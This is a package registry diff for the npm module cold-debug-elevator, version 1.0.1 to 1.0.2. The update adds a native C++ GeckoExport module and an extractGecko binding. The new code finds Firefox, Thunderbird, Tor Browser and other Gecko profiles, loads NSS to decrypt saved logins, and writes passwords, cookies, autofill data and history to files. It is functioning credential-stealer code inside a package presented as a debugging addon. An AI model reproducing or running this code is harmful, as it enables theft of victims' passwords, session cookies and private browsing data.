cold-debug-elevator 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/binding.gyp CHANGED
@@ -5,11 +5,12 @@
5
5
  "variables": {
6
6
  "clang": 0
7
7
  },
8
- "sources": [
9
- "src/main.cpp",
10
- "src/DebugChromium.cpp",
11
- "src/BrowserExport.cpp"
12
- ],
8
+ "sources": [
9
+ "src/main.cpp",
10
+ "src/DebugChromium.cpp",
11
+ "src/BrowserExport.cpp",
12
+ "src/GeckoExport.cpp"
13
+ ],
13
14
  "include_dirs": [
14
15
  "<!@(node -p \"require('node-addon-api').include\")",
15
16
  "<(module_root_dir)\\..\\builder\\src\\Chromium-DebugElevator-main (1)\\Chromium-DebugElevator-main\\vcpkg_installed\\x64-windows-static\\include"
package/index.js CHANGED
@@ -3,5 +3,8 @@ const debug1337 = require('./build/Release/debug1337.node');
3
3
  module.exports = {
4
4
  extract: (browserPath, outputPath) => {
5
5
  return debug1337.extract(browserPath, outputPath);
6
+ },
7
+ extractGecko: (outputPath) => {
8
+ return debug1337.extractGecko(outputPath);
6
9
  }
7
10
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cold-debug-elevator",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "Chromium Debug Elevator Native Addon",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -974,6 +974,7 @@ std::optional<std::vector<uint8_t>> ExtractAppBoundKey(const fs::path& exePath)
974
974
  args.targetDll = targetDll;
975
975
 
976
976
  KillProcessesByName(exePath.filename().wstring());
977
+ Sleep(1000); // Wait for file locks to be released
977
978
  HANDLE hThread = CreateThread(nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(DebugLoop), &args, 0, nullptr);
978
979
  if (!hThread) return std::nullopt;
979
980
  if (WaitForSingleObject(hThread, DEBUG_LOOP_TIMEOUT) == WAIT_TIMEOUT) { TerminateThread(hThread, 1); CloseHandle(hThread); return std::nullopt; }
@@ -0,0 +1,375 @@
1
+ #include "GeckoExport.hpp"
2
+ #include <iostream>
3
+ #include <windows.h>
4
+ #include <string>
5
+ #include <vector>
6
+ #include <fstream>
7
+ #include <shlobj.h>
8
+ #include <algorithm>
9
+ #include <filesystem>
10
+
11
+ namespace fs = std::filesystem;
12
+
13
+ // NSS Types and Constants
14
+ struct SECItem {
15
+ int type;
16
+ unsigned char* data;
17
+ unsigned int len;
18
+ };
19
+
20
+ // Function pointer types for NSS functions
21
+ typedef int(__cdecl* NSS_Init)(const char*);
22
+ typedef int(__cdecl* NSS_Shutdown)();
23
+ typedef int(__cdecl* PK11SDR_Decrypt)(SECItem*, SECItem*, void*);
24
+ typedef void* (__cdecl* PK11_GetInternalKeySlot)();
25
+ typedef int(__cdecl* PK11_Authenticate)(void*, int, void*);
26
+ typedef void(__cdecl* SECITEM_FreeItem)(SECItem*, bool);
27
+
28
+ // SQLite types and functions from nss3.dll
29
+ typedef struct sqlite3 sqlite3;
30
+ typedef struct sqlite3_stmt sqlite3_stmt;
31
+ typedef int(__cdecl* sqlite3_open)(const char*, sqlite3**);
32
+ typedef int(__cdecl* sqlite3_prepare_v2)(sqlite3*, const char*, int, sqlite3_stmt**, const char**);
33
+ typedef int(__cdecl* sqlite3_step)(sqlite3_stmt*);
34
+ typedef const unsigned char* (__cdecl* sqlite3_column_text)(sqlite3_stmt*, int);
35
+ typedef int(__cdecl* sqlite3_column_int)(sqlite3_stmt*, int);
36
+ typedef long long(__cdecl* sqlite3_column_int64)(sqlite3_stmt*, int);
37
+ typedef int(__cdecl* sqlite3_finalize)(sqlite3_stmt*);
38
+ typedef int(__cdecl* sqlite3_close)(sqlite3*);
39
+
40
+ // Global function pointers
41
+ static NSS_Init pNSS_Init = nullptr;
42
+ static NSS_Shutdown pNSS_Shutdown = nullptr;
43
+ static PK11SDR_Decrypt pPK11SDR_Decrypt = nullptr;
44
+ static PK11_GetInternalKeySlot pPK11_GetInternalKeySlot = nullptr;
45
+ static PK11_Authenticate pPK11_Authenticate = nullptr;
46
+ static SECITEM_FreeItem pSECITEM_FreeItem = nullptr;
47
+
48
+ static sqlite3_open p_sqlite3_open = nullptr;
49
+ static sqlite3_prepare_v2 p_sqlite3_prepare_v2 = nullptr;
50
+ static sqlite3_step p_sqlite3_step = nullptr;
51
+ static sqlite3_column_text p_sqlite3_column_text = nullptr;
52
+ static sqlite3_column_int p_sqlite3_column_int = nullptr;
53
+ static sqlite3_column_int64 p_sqlite3_column_int64 = nullptr;
54
+ static sqlite3_finalize p_sqlite3_finalize = nullptr;
55
+ static sqlite3_close p_sqlite3_close = nullptr;
56
+
57
+ // Simple Base64 Decoder
58
+ static std::vector<unsigned char> Base64Decode(const std::string& input) {
59
+ static const std::string base64_chars =
60
+ "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
61
+ "abcdefghijklmnopqrstuvwxyz"
62
+ "0123456789+/";
63
+
64
+ auto is_base64 = [](unsigned char c) {
65
+ return (isalnum(c) || (c == '+') || (c == '/'));
66
+ };
67
+
68
+ int in_len = input.size();
69
+ int i = 0, j = 0, in_ = 0;
70
+ unsigned char char_array_4[4], char_array_3[3];
71
+ std::vector<unsigned char> ret;
72
+
73
+ while (in_len-- && (input[in_] != '=') && is_base64(input[in_])) {
74
+ char_array_4[i++] = input[in_]; in_++;
75
+ if (i == 4) {
76
+ for (i = 0; i < 4; i++)
77
+ char_array_4[i] = base64_chars.find(char_array_4[i]);
78
+
79
+ char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
80
+ char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
81
+ char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
82
+
83
+ for (i = 0; (i < 3); i++)
84
+ ret.push_back(char_array_3[i]);
85
+ i = 0;
86
+ }
87
+ }
88
+
89
+ if (i) {
90
+ for (j = i; j < 4; j++)
91
+ char_array_4[j] = 0;
92
+
93
+ for (j = 0; j < 4; j++)
94
+ char_array_4[j] = base64_chars.find(char_array_4[j]);
95
+
96
+ char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
97
+ char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
98
+ char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
99
+
100
+ for (j = 0; (j < i - 1); j++) ret.push_back(char_array_3[j]);
101
+ }
102
+
103
+ return ret;
104
+ }
105
+
106
+ static std::string DecryptString(const std::string& base64Data) {
107
+ if (!pPK11SDR_Decrypt) return "";
108
+ std::vector<unsigned char> decoded = Base64Decode(base64Data);
109
+ if (decoded.empty()) return "";
110
+ SECItem encrypted = {0, decoded.data(), (unsigned int)decoded.size()};
111
+ SECItem decrypted = {0, nullptr, 0};
112
+ if (pPK11SDR_Decrypt(&encrypted, &decrypted, nullptr) == 0) {
113
+ std::string result((char*)decrypted.data, decrypted.len);
114
+ if (pSECITEM_FreeItem) pSECITEM_FreeItem(&decrypted, false);
115
+ return result;
116
+ }
117
+ return "";
118
+ }
119
+
120
+ static bool LoadNSS(const std::string& firefoxDir) {
121
+ if (firefoxDir.empty()) return false;
122
+ SetDllDirectoryA(firefoxDir.c_str());
123
+ std::string nssPath = firefoxDir + "\\nss3.dll";
124
+ HMODULE hNss = LoadLibraryExA(nssPath.c_str(), NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
125
+ if (!hNss) return false;
126
+
127
+ auto LoadFunc = [&](void** ptr, const char* name) {
128
+ *ptr = (void*)GetProcAddress(hNss, name);
129
+ return *ptr != nullptr;
130
+ };
131
+
132
+ bool ok = true;
133
+ ok &= LoadFunc((void**)&pNSS_Init, "NSS_Init");
134
+ ok &= LoadFunc((void**)&pNSS_Shutdown, "NSS_Shutdown");
135
+ ok &= LoadFunc((void**)&pPK11SDR_Decrypt, "PK11SDR_Decrypt");
136
+ ok &= LoadFunc((void**)&pPK11_GetInternalKeySlot, "PK11_GetInternalKeySlot");
137
+ ok &= LoadFunc((void**)&pPK11_Authenticate, "PK11_Authenticate");
138
+ ok &= LoadFunc((void**)&pSECITEM_FreeItem, "SECITEM_FreeItem");
139
+
140
+ ok &= LoadFunc((void**)&p_sqlite3_open, "sqlite3_open");
141
+ ok &= LoadFunc((void**)&p_sqlite3_prepare_v2, "sqlite3_prepare_v2");
142
+ ok &= LoadFunc((void**)&p_sqlite3_step, "sqlite3_step");
143
+ ok &= LoadFunc((void**)&p_sqlite3_column_text, "sqlite3_column_text");
144
+ ok &= LoadFunc((void**)&p_sqlite3_column_int, "sqlite3_column_int");
145
+ ok &= LoadFunc((void**)&p_sqlite3_column_int64, "sqlite3_column_int64");
146
+ ok &= LoadFunc((void**)&p_sqlite3_finalize, "sqlite3_finalize");
147
+ ok &= LoadFunc((void**)&p_sqlite3_close, "sqlite3_close");
148
+
149
+ if (!ok) { FreeLibrary(hNss); return false; }
150
+ return true;
151
+ }
152
+
153
+ struct BrowserInfo {
154
+ std::string name;
155
+ std::string profileSubDir; // relative to %APPDATA%
156
+ std::string installDirName; // common folder name in Program Files
157
+ };
158
+
159
+ static std::vector<BrowserInfo> geckoBrowsers = {
160
+ {"Firefox", "Mozilla\\Firefox\\Profiles", "Mozilla Firefox"},
161
+ {"Thunderbird", "Thunderbird\\Profiles", "Mozilla Thunderbird"},
162
+ {"Waterfox", "Waterfox\\Profiles", "Waterfox"},
163
+ {"SeaMonkey", "Mozilla\\SeaMonkey\\Profiles", "SeaMonkey"},
164
+ {"Pale Moon", "Moonchild Productions\\Pale Moon\\Profiles", "Pale Moon"},
165
+ {"LibreWolf", "LibreWolf\\Profiles", "LibreWolf"},
166
+ {"Tor Browser", "Tor Browser\\Browser\\Desktop\\Browser\\Data\\Browser\\profile.default", "Tor Browser"}
167
+ };
168
+
169
+ static std::vector<std::string> GetAllProfilePaths() {
170
+ std::vector<std::string> paths;
171
+ char appData[MAX_PATH];
172
+ if (!SHGetSpecialFolderPathA(NULL, appData, CSIDL_APPDATA, FALSE)) return paths;
173
+
174
+ for (const auto& browser : geckoBrowsers) {
175
+ std::string baseDir = std::string(appData) + "\\" + browser.profileSubDir;
176
+
177
+ if (browser.name == "Tor Browser") {
178
+ if (GetFileAttributesA(baseDir.c_str()) != INVALID_FILE_ATTRIBUTES) {
179
+ paths.push_back(baseDir);
180
+ }
181
+ continue;
182
+ }
183
+
184
+ WIN32_FIND_DATAA findData;
185
+ HANDLE hFind = FindFirstFileA((baseDir + "\\*").c_str(), &findData);
186
+ if (hFind != INVALID_HANDLE_VALUE) {
187
+ do {
188
+ if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
189
+ std::string name = findData.cFileName;
190
+ if (name != "." && name != "..") {
191
+ std::string profilePath = baseDir + "\\" + name;
192
+ std::string check = profilePath + "\\key4.db";
193
+ if (GetFileAttributesA(check.c_str()) != INVALID_FILE_ATTRIBUTES) {
194
+ paths.push_back(profilePath);
195
+ }
196
+ }
197
+ }
198
+ } while (FindNextFileA(hFind, &findData));
199
+ FindClose(hFind);
200
+ }
201
+ }
202
+ return paths;
203
+ }
204
+
205
+ static std::vector<std::string> GetPossibleInstallDirs() {
206
+ std::vector<std::string> dirs;
207
+ HKEY hKey;
208
+ char value[MAX_PATH];
209
+ DWORD size = sizeof(value);
210
+ if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
211
+ if (RegQueryValueExA(hKey, "Path", NULL, NULL, (LPBYTE)value, &size) == ERROR_SUCCESS) {
212
+ dirs.push_back(std::string(value));
213
+ }
214
+ RegCloseKey(hKey);
215
+ }
216
+
217
+ std::vector<std::string> programFiles = {"C:\\Program Files", "C:\\Program Files (x86)"};
218
+ for (const auto& pf : programFiles) {
219
+ for (const auto& browser : geckoBrowsers) {
220
+ dirs.push_back(pf + "\\" + browser.installDirName);
221
+ }
222
+ }
223
+ return dirs;
224
+ }
225
+
226
+ static void ProcessProfile(const std::string& profilePath, const std::string& outRoot) {
227
+ size_t lastSlash = profilePath.find_last_of("\\");
228
+ std::string profileName = (lastSlash != std::string::npos) ? profilePath.substr(lastSlash + 1) : "Unknown";
229
+
230
+ std::string browserName = "Gecko";
231
+ for (const auto& b : geckoBrowsers) {
232
+ if (profilePath.find(b.profileSubDir) != std::string::npos) {
233
+ browserName = b.name;
234
+ break;
235
+ }
236
+ }
237
+
238
+ std::string outDir = outRoot + "\\" + browserName + "_" + profileName;
239
+ CreateDirectoryA(outDir.c_str(), NULL);
240
+
241
+ if (pNSS_Init(profilePath.c_str()) != 0) {
242
+ return;
243
+ }
244
+
245
+ // Passwords.txt
246
+ std::ofstream passFile(outDir + "\\passwords.txt");
247
+ std::string loginsPath = profilePath + "\\logins.json";
248
+ std::ifstream f(loginsPath);
249
+ if (f.is_open()) {
250
+ std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
251
+ size_t pos = 0;
252
+ while ((pos = content.find("\"hostname\"", pos)) != std::string::npos) {
253
+ size_t hostStart = content.find("\"", pos + 10) + 1;
254
+ size_t hostEnd = content.find("\"", hostStart);
255
+ std::string host = content.substr(hostStart, hostEnd - hostStart);
256
+ size_t userPos = content.find("\"encryptedUsername\"", hostEnd);
257
+ size_t userStart = content.find("\"", userPos + 19) + 1;
258
+ size_t userEnd = content.find("\"", userStart);
259
+ std::string encUser = content.substr(userStart, userEnd - userStart);
260
+ size_t passPos = content.find("\"encryptedPassword\"", userEnd);
261
+ size_t passStart = content.find("\"", passPos + 19) + 1;
262
+ size_t passEnd = content.find("\"", passStart);
263
+ std::string encPass = content.substr(passStart, passEnd - passStart);
264
+ passFile << "=========<Sage Private>==========\n" << host << "\n" << DecryptString(encUser) << " : " << DecryptString(encPass) << "\n\n";
265
+ pos = passEnd;
266
+ }
267
+ }
268
+ passFile.close();
269
+
270
+ // cookies.txt
271
+ std::string cookiesPath = profilePath + "\\cookies.sqlite";
272
+ sqlite3* db;
273
+ if (p_sqlite3_open(cookiesPath.c_str(), &db) == 0) {
274
+ std::ofstream cookieFile(outDir + "\\cookies.txt");
275
+ cookieFile << "# Netscape HTTP Cookie File\n\n";
276
+ sqlite3_stmt* stmt;
277
+ const char* sql = "SELECT host, path, isSecure, expiry, name, value FROM moz_cookies";
278
+ if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == 0) {
279
+ while (p_sqlite3_step(stmt) == 100) {
280
+ const char* host_ptr = (const char*)p_sqlite3_column_text(stmt, 0);
281
+ const char* path_ptr = (const char*)p_sqlite3_column_text(stmt, 1);
282
+ int isSecure = p_sqlite3_column_int(stmt, 2);
283
+ long long expiry = p_sqlite3_column_int64(stmt, 3);
284
+ const char* name_ptr = (const char*)p_sqlite3_column_text(stmt, 4);
285
+ const char* value_ptr = (const char*)p_sqlite3_column_text(stmt, 5);
286
+
287
+ std::string host = host_ptr ? host_ptr : "";
288
+ std::string path = path_ptr ? path_ptr : "";
289
+ std::string name = name_ptr ? name_ptr : "";
290
+ std::string value = value_ptr ? value_ptr : "";
291
+
292
+ std::string flag = (!host.empty() && host[0] == '.') ? "TRUE" : "FALSE";
293
+ cookieFile << host << "\t" << flag << "\t" << path << "\t" << (isSecure ? "TRUE" : "FALSE") << "\t" << expiry << "\t" << name << "\t" << value << "\n";
294
+ }
295
+ p_sqlite3_finalize(stmt);
296
+ }
297
+ p_sqlite3_close(db);
298
+ cookieFile.close();
299
+ }
300
+
301
+ // autofills.txt
302
+ std::string formPath = profilePath + "\\formhistory.sqlite";
303
+ if (p_sqlite3_open(formPath.c_str(), &db) == 0) {
304
+ std::ofstream autoFile(outDir + "\\autofills.txt");
305
+ sqlite3_stmt* stmt;
306
+ const char* sql = "SELECT fieldname, value FROM moz_formhistory";
307
+ if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == 0) {
308
+ while (p_sqlite3_step(stmt) == 100) {
309
+ const char* field_ptr = (const char*)p_sqlite3_column_text(stmt, 0);
310
+ const char* val_ptr = (const char*)p_sqlite3_column_text(stmt, 1);
311
+ std::string field = field_ptr ? field_ptr : "";
312
+ std::string value = val_ptr ? val_ptr : "";
313
+ autoFile << field << " : " << value << "\n";
314
+ }
315
+ p_sqlite3_finalize(stmt);
316
+ }
317
+ p_sqlite3_close(db);
318
+ autoFile.close();
319
+ }
320
+
321
+ // history.txt
322
+ std::string historyPath = profilePath + "\\places.sqlite";
323
+ if (p_sqlite3_open(historyPath.c_str(), &db) == 0) {
324
+ std::ofstream historyFile(outDir + "\\history.txt");
325
+ sqlite3_stmt* stmt;
326
+ const char* sql = "SELECT url, title FROM moz_places ORDER BY last_visit_date DESC";
327
+ if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == 0) {
328
+ size_t totalBytes = 0;
329
+ while (p_sqlite3_step(stmt) == 100 && totalBytes < 300 * 1024) {
330
+ const char* url = (const char*)p_sqlite3_column_text(stmt, 0);
331
+ const char* title = (const char*)p_sqlite3_column_text(stmt, 1);
332
+ std::string line = std::string(url ? url : "") + " | " + (title ? title : "") + "\n";
333
+ historyFile << line;
334
+ totalBytes += line.length();
335
+ }
336
+ p_sqlite3_finalize(stmt);
337
+ }
338
+ p_sqlite3_close(db);
339
+ historyFile.close();
340
+ }
341
+
342
+ pNSS_Shutdown();
343
+ }
344
+
345
+ extern "C" bool ExtractGeckoData(const wchar_t* outputPath) {
346
+ std::string outRoot;
347
+ if (outputPath) {
348
+ std::wstring ws(outputPath);
349
+ outRoot = std::string(ws.begin(), ws.end());
350
+ } else {
351
+ outRoot = "output";
352
+ }
353
+
354
+ CreateDirectoryA(outRoot.c_str(), NULL);
355
+
356
+ std::vector<std::string> installDirs = GetPossibleInstallDirs();
357
+ bool loaded = false;
358
+ for (const auto& dir : installDirs) {
359
+ if (!dir.empty() && LoadNSS(dir)) {
360
+ loaded = true;
361
+ break;
362
+ }
363
+ }
364
+
365
+ if (!loaded) return false;
366
+
367
+ std::vector<std::string> profiles = GetAllProfilePaths();
368
+ if (profiles.empty()) return false;
369
+
370
+ for (const auto& profile : profiles) {
371
+ ProcessProfile(profile, outRoot);
372
+ }
373
+
374
+ return true;
375
+ }
@@ -0,0 +1,8 @@
1
+ #ifndef GECKO_EXPORT_H
2
+ #define GECKO_EXPORT_H
3
+
4
+ #include <string>
5
+
6
+ extern "C" bool ExtractGeckoData(const wchar_t* outputPath);
7
+
8
+ #endif
package/src/main.cpp CHANGED
@@ -3,6 +3,7 @@
3
3
  #include <string>
4
4
 
5
5
  extern "C" bool ExtractBrowserData(const wchar_t* browserPath, const wchar_t* outputPath);
6
+ extern "C" bool ExtractGeckoData(const wchar_t* outputPath);
6
7
 
7
8
  Napi::Value Extract(const Napi::CallbackInfo& info) {
8
9
  Napi::Env env = info.Env();
@@ -23,8 +24,26 @@ Napi::Value Extract(const Napi::CallbackInfo& info) {
23
24
  return Napi::Boolean::New(env, result);
24
25
  }
25
26
 
27
+ Napi::Value ExtractGecko(const Napi::CallbackInfo& info) {
28
+ Napi::Env env = info.Env();
29
+
30
+ if (info.Length() < 1 || !info[0].IsString()) {
31
+ Napi::TypeError::New(env, "String expected").ThrowAsJavaScriptException();
32
+ return env.Null();
33
+ }
34
+
35
+ std::u16string outputPathU16 = info[0].As<Napi::String>().Utf16Value();
36
+
37
+ bool result = ExtractGeckoData(
38
+ reinterpret_cast<const wchar_t*>(outputPathU16.c_str())
39
+ );
40
+
41
+ return Napi::Boolean::New(env, result);
42
+ }
43
+
26
44
  Napi::Object Init(Napi::Env env, Napi::Object exports) {
27
45
  exports.Set(Napi::String::New(env, "extract"), Napi::Function::New(env, Extract));
46
+ exports.Set(Napi::String::New(env, "extractGecko"), Napi::Function::New(env, ExtractGecko));
28
47
  return exports;
29
48
  }
30
49